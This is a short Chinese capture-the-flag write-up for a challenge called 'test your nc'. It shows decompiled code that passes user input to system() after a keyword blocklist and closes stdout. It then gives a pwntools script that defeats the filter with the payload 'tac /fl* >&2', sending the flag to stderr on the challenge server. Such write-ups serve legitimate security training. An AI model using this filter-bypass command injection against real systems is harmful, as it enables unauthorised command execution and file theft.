题面
test your nc
附件:二进制文件
分析
主要逻辑在 main 里:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("input your command to execute:");
read(0, buf, 0x20u);
if ( strstr(buf, "cat") || strstr(buf, "flag") || strpbrk(buf, "sh") || strstr(buf, "$0") )
{
puts("invalid command");
return 0;
}
else
{
close(1);
backdoor(buf);
return 0;
}
}
|
利用 strstr 检测子串无法直接 cat flag:
1
|
if ( strstr(buf, "cat") || strstr(buf, "flag") || strpbrk(buf, "sh") || strstr(buf, "$0") )
|
在后面还用 close 函数禁用了标准输出。
backdoor 函数:
1
2
3
4
5
6
7
8
|
unsigned __int64 __fastcall backdoor(const char *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
system(a1);
return v2 - __readfsqword(0x28u);
}
|
简单的运行 shell 命令。
利用
利用的关键就在于在有过滤的情况下输出 flag 文件。
除了 cat ,我们还有 tac 工具,这个没有被禁用掉。
可以将输出重定向到标准错误stderr。
最终得到命令为:
>&2 将 flag 内容输出到 stderr,其的数据仍会通过 socket 传回来,依次拿到 shell。
exp
1
2
3
4
5
6
7
8
|
from pwn import *
#io = process("./nc")
io = remote("node4.anna.nssctf.cn", 25029)
payload = b"tac /fl* >&2"
io.sendline(payload)
io.interactive()
|